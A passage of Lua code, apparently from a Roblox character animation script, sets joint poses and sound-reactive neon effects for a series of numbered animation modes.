math.random(1,25) == 1 then Neck.C0 = Clerp(Neck.C0,NECKC0 * CFrame.new(0,0,0) * CFrame.Angles(math.rad(20+math.random(-20,20)),math.rad((10*math.cos(sine/100))+math.random(-20,20)),math.rad(math.random(-20,20))),1) end RightShoulder.C0 = Clerp(RightShoulder.C0, CF(1.35, 0.75, 0) * ANGLES(RAD(170 - 15 * SIN(SINE / 6)), RAD(0), RAD(12 - 15 * COS(SINE / 6))) * RIGHTSHOULDERC0, 1 / Animation_Speed) LeftShoulder.C0 = Clerp(LeftShoulder.C0, CF(-1.5, 0.5, 0) * ANGLES(RAD(180), RAD(0), RAD(30)) * LEFTSHOULDERC0, 0.8 / Animation_Speed) RightHip.C0 = Clerp(RightHip.C0, CF(1, -1 - 0.05 * COS(SINE / 12), 0) * ANGLES(RAD(0), RAD(100.5), RAD(0)) * ANGLES(RAD(0), RAD(0), RAD(0)), 0.15 / Animation_Speed) LeftHip.C0 = Clerp(LeftHip.C0, CF(-1, -1 - 0.05 * COS(SINE / 12), 0) * ANGLES(RAD(0), RAD(-75), RAD(0)) * ANGLES(RAD(0), RAD(0), RAD(0)), 0.15 / Animation_Speed) GunJoint.C0 = Clerp(GunJoint.C0,CFrame.new(0.05,-1,-0.15) * CFrame.Angles(math.rad(-90),math.rad(0),math.rad(0)),.25) elseif mde == 22 then RootJoint.C0 = Clerp(RootJoint.C0,ROOTC0 * CF(0, 0, 0 + 0.05 * COS(SINE / 12)) * ANGLES(RAD(0), RAD(0), RAD(0)), 0.15 / Animation_Speed) Neck.C0 = Clerp(Neck.C0, NECKC0 * CF(0, 0, 0 + ((1) - 1)) * ANGLES(RAD(0 - 2.5 * SIN(SINE / 12)), RAD(0), RAD(0)), 0.15 / Animation_Speed) RightShoulder.C0 = Clerp(RightShoulder.C0, CF(1.5, 0.5, 0) * ANGLES(RAD(-69.5), RAD(0), RAD(0)) * RIGHTSHOULDERC0, 1 / Animation_Speed) LeftShoulder.C0 = Clerp(LeftShoulder.C0, CF(-1.5, 0.5, 0) * ANGLES(RAD(-1), RAD(0), RAD(30)) * LEFTSHOULDERC0, 0.8 / Animation_Speed) RightHip.C0 = Clerp(RightHip.C0, CF(1, -1 - 0.05 * COS(SINE / 12), 0) * ANGLES(RAD(0), RAD(100), RAD(-15)) * ANGLES(RAD(0), RAD(-15), RAD(0)), 0.15 / Animation_Speed) LeftHip.C0 = Clerp(LeftHip.C0, CF(-1, -1 - 0.05 * COS(SINE / 12), 0) * ANGLES(RAD(0), RAD(-80), RAD(0)) * ANGLES(RAD(0), RAD(0), RAD(0)), 0.15 / Animation_Speed) GunJoint.C0 = Clerp(GunJoint.C0,CFrame.new(.05,-1,-.15)*CFrame.Angles(math.rad(-106.3-.9*math.cos(sine/12)),0,0),.25) elseif mde == 23 then RootJoint.C0 = Clerp(RootJoint.C0,ROOTC0 * CF(0, 0, 0 + 0.05 * COS(SINE / 12)) * ANGLES(RAD(0), RAD(0), RAD(75)), 0.15 / Animation_Speed) Neck.C0 = Clerp(Neck.C0, NECKC0 * CF(0, 0, 0 + ((1) - 1)) * ANGLES(RAD(20), RAD(0), RAD(-70)), 0.15 / Animation_Speed) RightShoulder.C0 = Clerp(RightShoulder.C0, CF(1.5, 0.5, 0) * ANGLES(RAD(0), RAD(10), RAD(90)) * RIGHTSHOULDERC0, 1 / Animation_Speed) LeftShoulder.C0 = Clerp(LeftShoulder.C0, CF(-1.5, 0.5, 0) * ANGLES(RAD(0), RAD(0), RAD(-10 + 1 * COS(SINE / 12))) * LEFTSHOULDERC0, 0.8 / Animation_Speed) RightHip.C0 = Clerp(RightHip.C0, CF(1, -1 - 0.05 * COS(SINE / 12), 0) * ANGLES(RAD(0), RAD(50), RAD(0)) * ANGLES(RAD(0), RAD(0), RAD(0)), 0.15 / Animation_Speed) LeftHip.C0 = Clerp(LeftHip.C0, CF(-1, -1 - 0.05 * COS(SINE / 12), 0) * ANGLES(RAD(0), RAD(-50), RAD(0)) * ANGLES(RAD(0), RAD(0), RAD(0)), 0.15 / Animation_Speed) GunJoint.C0 = Clerp(GunJoint.C0,CFrame.new(0.05,-1,-0.15) * CFrame.Angles(math.rad(-90),math.rad(0),math.rad(0)),.25) elseif mde == 24 then WACKYEFFECT({Time = 12.5, EffectType = "Sphere", Size = Vector3.new(10*sick.PlaybackLoudness/75,0,1*sick.PlaybackLoudness/75), Size2 = Vector3.new(1*sick.PlaybackLoudness/75,0.5,7*sick.PlaybackLoudness/75), Transparency = 0, Transparency2 = 1, CFrame = RootPart.CFrame*CFrame.new(0,-3,0)*CFrame.Angles(math.rad(0),math.rad(sick.PlaybackLoudness/666),math.rad(0)), RotationX = 0, RotationY = 0, RotationZ = 0, Material = "Neon", Color = GUN.NeonParts.Color, SoundID = nil, SoundPitch = nil, SoundVolume = nil}) WACKYEFFECT({Time = 12.5, EffectType = "Sphere", Size = Vector3.new(1*sick.PlaybackLoudness/75,0,10*sick.PlaybackLoudness/75), Size2 = Vector3.new(7*sick.PlaybackLoudness/75,0.69,1*sick.PlaybackLoudness/75), Transparency = 0, Transparency2 = 1, CFrame = RootPart.CFrame*CFrame.new(0,-3,0)*CFrame.Angles(math.rad(0),math.rad(sick.PlaybackLoudness/666),math.rad(0)), RotationX = 0, RotationY = 0, RotationZ = 0, Material = "Neon", Color = GUN.NeonParts.Color, SoundID = nil, SoundPitch = nil, SoundVolume = nil}) WACKYEFFECT({Time = 12.5, EffectType = "Sphere", Size = Vector3.new(4*sick.PlaybackLoudness/75,0,4*sick.PlaybackLoudness/75), Size2 = Vector3.new(4*sick.PlaybackLoudness/75,0.5,4*sick.PlaybackLoudness/75), Transparency = 0, Transparency2 = 1, CFrame = RootPart.CFrame*CFrame.new(0,-3,0)*CFrame.Angles(math.rad(0),math.rad(sick.PlaybackLoudness/666),math.rad(0)), RotationX = 0, RotationY = 0, RotationZ = 0, Material = "Neon", Color = GUN.NeonParts.Color, SoundID = nil, SoundPitch = nil, SoundVolume = nil}) RootJoint.C0 = Clerp(RootJoint.C0,ROOTC0 * CFrame.new(0,0,3 - .5 * math.sin(sine/9)) * CFrame.Angles(math.rad(-20),math.rad(0),math.rad(0)),.7/3) Neck.C0 = Clerp(Neck.C0,NECKC0 * CFrame.new(0,-.05,0) * CFrame.Angles(math.rad(20),math.rad(0),math.rad(0)),.7/3) RightShoulder.C0 = Clerp(RightShoulder.C0,CFrame.new(1.25,.5,-.1) * CFrame.Angles(math.rad(45),math.rad(-45),math.rad(0)) * RIGHTSHOULDERC0,.7/3) LeftShoulder.C0 = Clerp(LeftShoulder.C0,CFrame.new(-1.5,0.5,0) * CFrame.Angles(math.rad(-20 + 8.5 * math.cos(sine/20)),math.rad(0),math.rad(-25 - 5 * math.cos(sine/20))) * LEFTSHOULDERC0,0.7/3) RightHip.C0 = Clerp(RightHip.C0,CFrame.new(1,-1,-.01) * CFrame.Angles(math.rad(10),math.rad(80),math.rad(10+10*math.sin(sine/50))),1/3) LeftHip.C0 = Clerp(LeftHip.C0,CFrame.new(-1,-1,-.01) * CFrame.Angles(math.rad(20),math.rad(-80),math.rad(-10-10*math.sin(sine/50))),1/3) GunJoint.C0 = Clerp(GunJoint.C0,CFrame.new(.05,-1,-.15) * CFrame.Angles(math.rad(-90),math.rad(0),math.rad(0)),1) elseif mde == 25 then RootJoint.C0 = Clerp(RootJoint.C0,ROOTC0 * CF(0, 0, 0 + 0.05 * COS(SINE / 12)) * ANGLES(RAD(0), RAD(0), RAD(-30 - 10 * SIN(SINE / 12))), 0.15 / Animation_Speed) Neck.C0 = Clerp(Neck.C0, NECKC0 * CF(0, 0, 0 + ((1) - 1)) * ANGLES(RAD(0 - 2.5 * SIN(SINE / 12)), RAD(0 - 10 * SIN(SINE / 12)), RAD(30 - 10 * SIN(SINE / 12))), 0.15 / Animation_Speed) RightShoulder.C0 = Clerp(RightShoulder.C0, CF(1.5, 0.5, 0) * ANGLES(RAD(-83.5), RAD(0), RAD(0)) * RIGHTSHOULDERC0, 1 / Animation_Speed) LeftShoulder.C0 = Clerp(LeftShoulder.C0, CF(-1.5, 0.5, 0) * ANGLES(RAD(90), RAD(15), RAD(40)) * LEFTSHOULDERC0, 0.8 / Animation_Speed) RightHip.C0 = Clerp(RightHip.C0, CF(1, -1 - 0.05 * COS(SINE / 12), 0) * ANGLES(RAD(0), RAD(100), RAD(0)) * ANGLES(RAD(0), RAD(0), RAD(0)), 0.15 / Animation_Speed) LeftHip.C0 = Clerp(LeftHip.C0, CF(-1, -1 - 0.05 * COS(SINE / 12), 0) * ANGLES(RAD(0), RAD(-80), RAD(0)) * ANGLES(RAD(0), RAD(0), RAD(0)), 0.15 / Animation_Speed) GunJoint.C0 = Clerp(GunJoint.C0,CFrame.new(.05,-1,-.15) * CFrame.Angles(math.rad(-90),math.rad(0),math.rad(0)),1) elseif mde == 26 then RootJoint.C0 = Clerp(RootJoint.C0,ROOTC0 * CF(0, 0, 0 + 0.05 * COS(SINE / 12)) * ANGLES(RAD(0), RAD(0), RAD(0)), 0.15 / Animation_Speed) Neck.C0 = Clerp(Neck.C0, NECKC0 * CF(0, 0, 0 + ((1) - 1)) * ANGLES(RAD(-1-sick.PlaybackLoudness/10), RAD(0), RAD(0)), 1 / Animation_Speed) RightShoulder.C0 = Clerp(RightShoulder.C0, CF(1.5, 0.5, 0) * ANGLES(RAD(40+sick.PlaybackLoudness/7.5), RAD(0), RAD(10)) * RIGHTSHOULDERC0, 1 / Animation_Speed) LeftShoulder.C0 = Clerp(LeftShoulder.C0, CF(-1.5, 0.5, 0) * ANGLES(RAD(40+sick.PlaybackLoudness/7.5), RAD(0), RAD(-10)) * LEFTSHOULDERC0, 1 / Animation_Speed) RightHip.C0 = Clerp(RightHip.C0, CF(1, -1 - 0.05 * COS(SINE / 12), 0) * ANGLES(RAD(0), RAD(70), RAD(0)) * ANGLES(RAD(0), RAD(0), RAD(0)), 0.15 / Animation_Speed) LeftHip.C0 = Clerp(LeftHip.C0, CF(-1, -1 - 0.05 * COS(SINE / 12), 0) * ANGLES(RAD(0), RAD(-70), RAD(0)) * ANGLES(RAD(0), RAD(0), RAD(0)), 0.15 / Animation_Speed) GunJoint.C0 = Clerp(GunJoint.C0,CFrame.new(.05,-1,-.15) * CFrame.Angles(math.rad(-90),math.rad(0),math.rad(0)),1) elseif mde == 27 then Neck.C0 = Clerp(Neck.C0, NECKC0 * CF(0, 0, 0 + ((1) - 1)) * ANGLES(RAD(MRANDOM(-55,55)), RAD(MRANDOM(-55,55)), RAD(MRANDOM(-55,55))), 1.5 / 3) RootJoint.C0 = Clerp(RootJoint.C0,ROOTC0 * CF(0, 0, 2 - 3 * COS(SINE / 2)) * ANGLES(RAD(MRANDOM(-55,55)), RAD(MRANDOM(-55,55)), RAD(MRANDOM(-55,55))), 1 / Animation_Speed) RightShoulder.C0 = Clerp(RightShoulder.C0, CF(1.5, 0.5, -0.5) * ANGLES(RAD(165 + MRANDOM(-55,55)), RAD(MRANDOM(-55,55)), RAD(MRANDOM(-55,55)))* RIGHTSHOULDERC0, 3 / Animation_Speed) LeftShoulder.C0 = Clerp(LeftShoulder.C0, CF(-1.5, 0.5, 0.5) * ANGLES(RAD(MRANDOM(-55,55)), RAD(MRANDOM(-55,55)), RAD(MRANDOM(-55,55))) * LEFTSHOULDERC0, 3 / Animation_Speed) RightHip.C0 = Clerp(RightHip.C0, CF(1, -1 - 0.05 * COS(SINE / 12), 0) * ANGLES(RAD(MRANDOM(-55,55)), RAD(90 + MRANDOM(-55,55)), RAD(MRANDOM(-55,55))) * ANGLES(RAD(MRANDOM(-55,55)), RAD(MRANDOM(-55,55)), RAD(MRANDOM(-55,55))), 3 / Animation_Speed) LeftHip.C0 = Clerp(LeftHip.C0, CF(-1, -1 - 0.05 * COS(SINE / 12), 0) * ANGLES(RAD(MRANDOM(-55,55)), RAD(-90 + MRANDOM(-55,55)), RAD(MRANDOM(-55,55))) * ANGLES(RAD(MRANDOM(-55,55)), RAD(MRANDOM(-55,55)), RAD(MRANDOM(-55,55))), 3 / Animation_Speed) GunJoint.C0 = Clerp(GunJoint.C0,CFrame.new(.05,-1,-.15) * CFrame.Angles(math.rad(-90+MRANDOM(-55,55)),math.rad(MRANDOM(-55,55)),math.rad(MRANDOM(-55,55))),1) elseif mde == 28 then RootJoint.C0 = Clerp(RootJoint.C0,ROOTC0 * CF(0, 0, 0 + 0.05 * COS(SINE / 12)) * ANGLES(RAD(0), RAD(0), RAD(15)), 0.15 / Animation_Speed) Neck.C0 = Clerp(Neck.C0, NECKC0 * CF(0, 0, 0 + ((1) - 1)) * ANGLES(RAD(-25), RAD(0), RAD(-30)), 0.15 / Animation_Speed) RightShoulder.C0 = Clerp(RightShoulder.C0, CF(1.5, 0.5, -0.5) * ANGLES(RAD(175 + 5 * COS(SINE / 12)), RAD(0), RAD(30))* RIGHTSHOULDERC0, 0.15 / Animation_Speed) LeftShoulder.C0 = Clerp(LeftShoulder.C0, CF(-1.2, 0.5, 0.5) * ANGLES(RAD(0), RAD(0), RAD(45)) * LEFTSHOULDERC0, 0.15 / Animation_Speed) RightHip.C0 = Clerp(RightHip.C0, CF(1, -1 - 0.05 * COS(SINE / 12), -0.5) * ANGLES(RAD(0), RAD(90), RAD(0)) * ANGLES(RAD(-8), RAD(0), RAD(0)), 0.15 / Animation_Speed) LeftHip.C0 = Clerp(LeftHip.C0, CF(-1, -1 - 0.05 * COS(SINE / 12), -0.01) * ANGLES(RAD(0), RAD(-90), RAD(15)) * ANGLES(RAD(-8), RAD(0), RAD(0)), 0.15 / Animation_Speed) GunJoint.C0 = Clerp(GunJoint.C0,CFrame.new(0.05,-1,-0.15) * CFrame.Angles(math.rad(doe * 22),math.rad(0),math.rad(0)),1/2) elseif mde == 29 then RootJoint.C0 = Clerp(RootJoint.C0,ROOTC0 * CF(0, 0, 1 - 0.5 * COS(SINE / 15)) * ANGLES(RAD(15), RAD(0), RAD(0)), 1 / Animation_Speed) Neck.C0 = Clerp(Neck.C0, NECKC0 * CF(0, 0, 0 + ((1) - 1)) * ANGLES(RAD(-15+MRANDOM(-2,2)), RAD(MRANDOM(-2,2)), RAD(MRANDOM(-2,2))), 1 / Animation_Speed) RightShoulder.C0 = Clerp(RightShoulder.C0, CF(1.5, 0.5, 0) * ANGLES(RAD(165 + 15 * COS(SINE / 15)), RAD(0), RAD(0))* RIGHTSHOULDERC0, 1 / Animation_Speed) snap = math.random(1,60) if snap == 1 then Neck.C0 = Clerp(Neck.C0,NECKC0*CF(0,0,0+((1)-1))*ANGLES(math.rad(math.random(-10000,10000)),math.rad(math.random(-10000,10000)),math.rad(math.random(-10000,10000))), 3 / Animation_Speed) end snap2 = math.random(1,60) if snap2 == 1 then RightShoulder.C0 = Clerp(RightShoulder.C0, CF(1, 0.5, -0.6) * ANGLES(math.rad(math.random(-10000,10000)),math.rad(math.random(-10000,10000)),math.rad(math.random(-10000,10000))) * RIGHTSHOULDERC0, 3 / Animation_Speed) end snap3 = math.random(1, 60) if snap3 == 1 then LeftShoulder.C0 = Clerp(LeftShoulder.C0, CF(-1, 0.5, -0.6) * ANGLES(math.rad(math.random(-10000,10000)),math.rad(math.random(-10000,10000)),math.rad(math.random(-10000,10000))) * LEFTSHOULDERC0, 3 / Animation_Speed) end snap4 = math.random(1, 60) if snap4 == 1 then LeftHip.C0 = Clerp(LeftHip.C0, CF(-1, -1, 0) * ANGLES(RAD(0), RAD(-90), RAD(0)) * ANGLES(RAD(0), RAD(0), RAD(5 + 70 * SIN(SINE / 6))), 1 / Animation_Speed) end snap4 = math.random(1, 60) if snap4 == 1 then RightHip.C0 = Clerp(RightHip.C0, CF(1, -1 - 0.05 * COS(SINE / 12), 0) * ANGLES(RAD(MRANDOM(-10000,10000)), RAD(90+MRANDOM(-10000,10000)), RAD(MRANDOM(-10000,10000))) * ANGLES(RAD(MRANDOM(-10000,10000)), RAD(MRANDOM(-10000,10000)), RAD(MRANDOM(-10000,10000))), 3 / Animation_Speed) end snap5 = math.random(1, 60) if snap5 == 1 then LeftHip.C0 = Clerp(LeftHip.C0, CF(-1, -1 - 0.05 * COS(SINE / 12), 0) * ANGLES(RAD(MRANDOM(-10000,10000)), RAD(90+MRANDOM(-10000,10000)), RAD(MRANDOM(-10000,10000))) * ANGLES(RAD(MRANDOM(-10000,10000)), RAD(MRANDOM(-10000,10000)), RAD(MRANDOM(-10000,10000))), 3 / Animation_Speed) end snap6 = math.random(1, 60) if snap6 == 1 then RootJoint.C0 = Clerp(RootJoint.C0,ROOTC0 * CF(0, 0, 0) * ANGLES(RAD(MRANDOM(-10000,10000)), RAD(MRANDOM(-10000,10000)), RAD(MRANDOM(-10000,10000))), 3 / Animation_Speed) end LeftShoulder.C0 = Clerp(LeftShoulder.C0, CF(-1.5, 0.5 - 0.2 * COS(SINE / 15), 0) * ANGLES(RAD(0), RAD(0), RAD(-10 + 20 * COS(SINE / 15))) * LEFTSHOULDERC0, 1 / Animation_Speed) RightHip.C0 = Clerp(RightHip.C0, CF(1, -1 - 0.05 * COS(SINE / 12), -0.5) * ANGLES(RAD(0), RAD(90), RAD(0)) * ANGLES(RAD(-8), RAD(0), RAD(0)), 1 / Animation_Speed) LeftHip.C0 = Clerp(LeftHip.C0, CF(-1, -1 - 0.05 * COS(SINE / 12), -0.01) * ANGLES(RAD(0), RAD(-60), RAD(30)) * ANGLES(RAD(-8), RAD(0), RAD(0)), 1 / Animation_Speed) GunJoint.C0 = Clerp(GunJoint.C0,CFrame.new(.05,-1,-.15) * CFrame.Angles(math.rad(-90),math.rad(0),math.rad(0)),1) elseif mde == 30 then RootJoint.C0 = Clerp(RootJoint.C0,ROOTC0 * CF(0, 0, 0) * ANGLES(RAD(0), RAD(0), RAD(0)), 0.100000000000000 / Animation_Speed) Neck.C0 = Clerp(Neck.C0, NECKC0 * CF(0, 0, 0 + ((1) - 1)) * ANGLES(RAD(0), RAD(0), RAD(0)), 0.100000000000000 / Animation_Speed) RightShoulder.C0 = Clerp(RightShoulder.C0, CF(1.5, 0.5, 0) * ANGLES(RAD(0), RAD(0), RAD(90))* RIGHTSHOULDERC0, 0.100000000000000 / Animation_Speed) LeftShoulder.C0 = Clerp(LeftShoulder.C0, CF(-1.5, 0.5, 0) * ANGLES(RAD(0), RAD(0), RAD(-90)) * LEFTSHOULDERC0, 0.100000000000000 / Animation_Speed) RightHip.C0 = Clerp(RightHip.C0, CF(1, -1, 0) * ANGLES(RAD(0), RAD(90), RAD(0)) * ANGLES(RAD(0), RAD(0), RAD(0)), 0.100000000000000 / Animation_Speed) LeftHip.C0 = Clerp(LeftHip.C0, CF(-1, -1, 0) * ANGLES(RAD(0), RAD(-90), RAD(0)) * ANGLES(RAD(0), RAD(0), RAD(0)), 0.100000000000000 / Animation_Speed) GunJoint.C0 = Clerp(GunJoint.C0,CFrame.new(.05,-1,-.15) * CFrame.Angles(math.rad(90),math.rad(0),math.rad(0)),1) elseif mde == 31 then RootJoint.C0 = Clerp(RootJoint.C0,ROOTC0 * CF(0, 0, -0.8 + 0.05 * COS(SINE / 12)) * ANGLES(RAD(10 + 5 * SIN(SINE / 12)), RAD(0), RAD(0)), 0.15 / Animation_Speed) Neck.C0 = Clerp(Neck.C0, NECKC0 * CF(0, 0, 0 + ((1) - 1)) * ANGLES(RAD(0), RAD(0), RAD(0)), 0.15 / Animation_Speed) RightShoulder.C0 = Clerp(RightShoulder.C0, CF(1.5, 0.7, 0) * ANGLES(RAD(180), RAD(0), RAD(-30))* RIGHTSHOULDERC0, 0.15 / Animation_Speed) LeftShoulder.C0 = Clerp(LeftShoulder.C0, CF(-1.5, 0.7, 0) * ANGLES(RAD(180), RAD(0), RAD(30)) * LEFTSHOULDERC0, 0.15 / Animation_Speed) RightHip.C0 = Clerp(RightHip.C0, CF(1, -0.2 - 0.05 * COS(SINE / 12), -0.5) * ANGLES(RAD(10 + 5 * SIN(SINE / 12)), RAD(90), RAD(0)) * ANGLES(RAD(0), RAD(0), RAD(0)), 0.15 / Animation_Speed) LeftHip.C0 = Clerp(LeftHip.C0, CF(-1, -1 - 0.05 * COS(SINE / 12), 0) * ANGLES(RAD(10 + 5 * SIN(SINE / 12)), RAD(-90), RAD(50)) * ANGLES(RAD(0), RAD(0), RAD(0)), 0.15 / Animation_Speed) GunJoint.C0 = Clerp(GunJoint.C0,CFrame.new(.05,-1,-.15) * CFrame.Angles(math.rad(-90),math.rad(0),math.rad(0)),1) elseif mde == 32 then RootJoint.C0 = Clerp(RootJoint.C0,ROOTC0 * CF(0, 0, 3 - 1.5 * COS(SINE / 28)) * ANGLES(RAD(0), RAD(20*COS(SINE/28)), RAD(-75)), 0.15 / Animation_Speed) Neck.C0 = Clerp(Neck.C0, NECKC0 * CF(0, 0, 0 + ((1) - 1)) * ANGLES(RAD(0), RAD(0), RAD(70)), 0.15 / Animation_Speed) RightShoulder.C0 = Clerp(RightShoulder.C0, CFrame.new(1.55, 0.5, 0.5) * CFrame.Angles(math.rad(250), math.rad(20), math.rad(-80))* RIGHTSHOULDERC0, 1 / 3) LeftShoulder.C0 = Clerp(LeftShoulder.C0, CF(-1.5, 0.5, 0) * ANGLES(RAD(40*COS(SINE/32)), RAD(0), RAD(1*COS(SINE/15))) * LEFTSHOULDERC0, 0.15 / Animation_Speed) RightHip.C0 = Clerp(RightHip.C0, CF(1, -1, 0) * ANGLES(RAD(25 * COS(SINE / 35)), RAD(90), RAD(0)) * ANGLES(RAD(0), RAD(0), RAD(0)), 0.15 / Animation_Speed) LeftHip.C0 = Clerp(LeftHip.C0, CF(-1, -1, 0) * ANGLES(RAD(-55 * COS(SINE/32)), RAD(-90), RAD(0)) * ANGLES(RAD(0), RAD(0), RAD(0)), 1 / Animation_Speed) GunJoint.C0 = Clerp(GunJoint.C0,CFrame.new(.05,-1,-.15) * CFrame.Angles(math.rad(-90-10*SIN(SINE/15)),math.rad(0),math.rad(0)),1) elseif mde == 33 then Humanoid.HipHeight = 1.5 RootJoint.C0 = Clerp(RootJoint.C0,ROOTC0 * CF(-00.1*COS(SINE/12), 0, 00.1*COS(SINE/15)) * ANGLES(RAD(0), RAD(0), RAD(-15)), 1 / Animation_Speed) Neck.C0 = Clerp(Neck.C0, NECKC0 * CF(0, 0, 0 + ((1) - 1)) * ANGLES(RAD(0 - 2.5 * SIN(SINE / 12)), RAD(0), RAD(15)), 1 / Animation_Speed) RightShoulder.C0 = Clerp(RightShoulder.C0, CF(1.5, 0.5, 0) * ANGLES(RAD(165), RAD(0), RAD(20))* RIGHTSHOULDERC0, 1 / Animation_Speed) LeftShoulder.C0 = Clerp(LeftShoulder.C0, CF(-1, 0.4, -0.7) * ANGLES(RAD(86), RAD(9), RAD(75)) * LEFTSHOULDERC0, 1 / Animation_Speed) RightHip.C0 = Clerp(RightHip.C0, CF(1, -0.6 - 0.05 * SIN(SINE / 12), -0.5) * ANGLES(RAD(5*COS(SINE/15)), RAD(70), RAD(0)) * ANGLES(RAD(-0.5*COS(SINE/15)), RAD(0), RAD(-25)), 1 / Animation_Speed) LeftHip.C0 = Clerp(LeftHip.C0, CF(-1, -1 - 0.05 * SIN(SINE / 12), 0) * ANGLES(RAD(-5*COS(SINE/15)), RAD(-70), RAD(0)) * ANGLES(RAD(-0.5*COS(SINE/15)), RAD(0), RAD(0)), 1 / Animation_Speed) GunJoint.C0 = Clerp(GunJoint.C0,CFrame.new(.05,-1,-.15) * CFrame.Angles(math.rad(-90),math.rad(0),math.rad(0)),1) elseif mde == 34 then RootJoint.C0 = Clerp(RootJoint.C0,ROOTC0 * CF(0, 0, 0 + 0.05 * COS(SINE / 12)) * ANGLES(RAD(0), RAD(0), RAD(0)), 0.15 / Animation_Speed) Neck.C0 = Clerp(Neck.C0, NECKC0 * CF(0, 0, 0 + ((1) - 1)) * ANGLES(RAD(5 * SIN(SINE / 12)), RAD(0), RAD(0)), 0.15 / Animation_Speed) RightShoulder.C0 = Clerp(RightShoulder.C0, CF(1.5, 0.5, 0) * ANGLES(RAD(175+5*COS(SINE/12)), RAD(0), RAD(10))* RIGHTSHOULDERC0, 0.15 / Animation_Speed) LeftShoulder.C0 = Clerp(LeftShoulder.C0, CF(-1.5, 0.5, 0) * ANGLES(RAD(0), RAD(0), RAD(-5)) * LEFTSHOULDERC0, 0.15 / Animation_Speed) RightHip.C0 = Clerp(RightHip.C0, CF(1, -1 - 0.05 * COS(SINE / 12), -0.01) * ANGLES(RAD(0), RAD(90), RAD(0)) * ANGLES(RAD(-3.5), RAD(0), RAD(0)), 0.15 / Animation_Speed) LeftHip.C0 = Clerp(LeftHip.C0, CF(-1, -1 - 0.05 * COS(SINE / 12), -0.01) * ANGLES(RAD(0), RAD(-90), RAD(0)) * ANGLES(RAD(-3.5), RAD(0), RAD(0)), 0.15 / Animation_Speed) GunJoint.C0 = Clerp(GunJoint.C0,CFrame.new(.05,-1,-.15) * CFrame.Angles(math.rad(-90),math.rad(0),math.rad(0)),1) elseif mde == 35 then RootJoint.C0 = Clerp(RootJoint.C0,ROOTC0 * CF(0, 0, 0 + 0.05 * COS(SINE / 12)) * ANGLES(RAD(10-15*COS(SINE/20)), RAD(0), RAD(0)), 0.15 / Animation_Speed) Neck.C0 = Clerp(Neck.C0, NECKC0 * CF(0, 0, 0 + ((1) - 1)) * ANGLES(RAD(5 * SIN(SINE / 12)), RAD(0), RAD(0)), 0.15 / Animation_Speed) RightShoulder.C0 = Clerp(RightShoulder.C0, CF(1.5, 0.5, 0) * ANGLES(RAD(175+5*COS(SINE/12)), RAD(0), RAD(10))* RIGHTSHOULDERC0, 0.15 / Animation_Speed) LeftShoulder.C0 = Clerp(LeftShoulder.C0, CF(-1.5, 0.5, 0) * ANGLES(RAD(10-15*COS(SINE/20)), RAD(0), RAD(-5)) * LEFTSHOULDERC0, 0.15 / Animation_Speed) RightHip.C0 = Clerp(RightHip.C0, CF(1, -1+0.1*COS(SINE/20) - 0.05 * COS(SINE / 12), -0.01) * ANGLES(RAD(10-15*COS(SINE/20)), RAD(90), RAD(0)) * ANGLES(RAD(-3.5), RAD(0), RAD(0)), 0.15 / Animation_Speed) LeftHip.C0 = Clerp(LeftHip.C0, CF(-1, -1+0.1*COS(SINE/20) - 0.05 * COS(SINE / 12), -0.01) * ANGLES(RAD(10-15*COS(SINE/20)), RAD(-90), RAD(0)) * ANGLES(RAD(-3.5), RAD(0), RAD(0)), 0.15 / Animation_Speed) GunJoint.C0 = Clerp(GunJoint.C0,CFrame.new(.05,-1,-.15) * CFrame.Angles(math.rad(-90),math.rad(0),math.rad(0)),1) elseif mde == 36 then RootJoint.C0 = Clerp(RootJoint.C0,ROOTC0 * CF(0, 0, 0 + 0.05 * COS(SINE / 12)) * ANGLES(RAD(0), RAD(0), RAD(0)), 0.15 / Animation_Speed) Neck.C0 = Clerp(Neck.C0, NECKC0 * CF(0, 0, 0 + ((1) - 1)) * ANGLES(RAD(MRANDOM(-20,20) - 4 * COS(SINE / 12)), RAD(MRANDOM(-20,20)), RAD(MRANDOM(-20,20))), 1 / Animation_Speed) RightShoulder.C0 = Clerp(RightShoulder.C0, CF(1.5, 0.5, 0) * ANGLES(RAD(175+5*COS(SINE/12)), RAD(0), RAD(10))* RIGHTSHOULDERC0, 0.15 / Animation_Speed) LeftShoulder.C0 = Clerp(LeftShoulder.C0, CF(-1.2, 0.5 - 0.1 * COS(SINE / 12), -0.9) * ANGLES(RAD(0), RAD(10), RAD(90)) * LEFTSHOULDERC0, 0.15 / Animation_Speed) RightHip.C0 = Clerp(RightHip.C0, CF(1, -1 - 0.05 * COS(SINE / 12), -0.01) * ANGLES(RAD(0), RAD(75), RAD(0)) * ANGLES(RAD(0), RAD(0), RAD(0)), 0.15 / Animation_Speed) LeftHip.C0 = Clerp(LeftHip.C0, CF(-1, -1 - 0.05 * COS(SINE / 12), -0.01) * ANGLES(RAD(0), RAD(-75), RAD(0)) * ANGLES(RAD(0), RAD(0), RAD(0)), 0.15 / Animation_Speed) GunJoint.C0 = Clerp(GunJoint.C0,CFrame.new(.05,-1,-.15) * CFrame.Angles(math.rad(-90),math.rad(0),math.rad(0)),1) elseif mde == 37 then RootJoint.C0 = Clerp(RootJoint.C0,ROOTC0 * CF(0, 0, 0 + 0.05 * COS(SINE / 12)) * ANGLES(RAD(0), RAD(0), RAD(-55)), 0.15 / Animation_Speed) Neck.C0 = Clerp(Neck.C0, NECKC0 * CF(0, 0, 0 + ((1) - 1)) * ANGLES(RAD(0), RAD(0), RAD(55)), 1 / Animation_Speed) RightShoulder.C0 = Clerp(RightShoulder.C0, CF(1.5, 0.5, 0) * ANGLES(RAD(175+5*COS(SINE/12)), RAD(0), RAD(10))* RIGHTSHOULDERC0, 0.15 / Animation_Speed) LeftShoulder.C0 = Clerp(LeftShoulder.C0, CF(-1.2, 0.5, -0.9) * ANGLES(RAD(0), RAD(0), RAD(90)) * LEFTSHOULDERC0, 0.15 / Animation_Speed) RightHip.C0 = Clerp(RightHip.C0, CF(1, -1 - 0.05 * COS(SINE / 12), -0.01) * ANGLES(RAD(0), RAD(75), RAD(0)) * ANGLES(RAD(0), RAD(0), RAD(0)), 0.15 / Animation_Speed) LeftHip.C0 = Clerp(LeftHip.C0, CF(-1, -1 - 0.05 * COS(SINE / 12), -0.01) * ANGLES(RAD(0), RAD(-75), RAD(0)) * ANGLES(RAD(0), RAD(0), RAD(0)), 0.15 / Animation_Speed) GunJoint.C0 = Clerp(GunJoint.C0,CFrame.new(.05,-1,-.15) * CFrame.Angles(math.rad(-90),math.rad(0),math.rad(0)),1) elseif mde == 38 then RootJoint.C0 = Clerp(RootJoint.C0,ROOTC0 * CF(0, 0, 0 + 0.05 * COS(SINE / 12)) * ANGLES(RAD(0), RAD(0), RAD(0)), 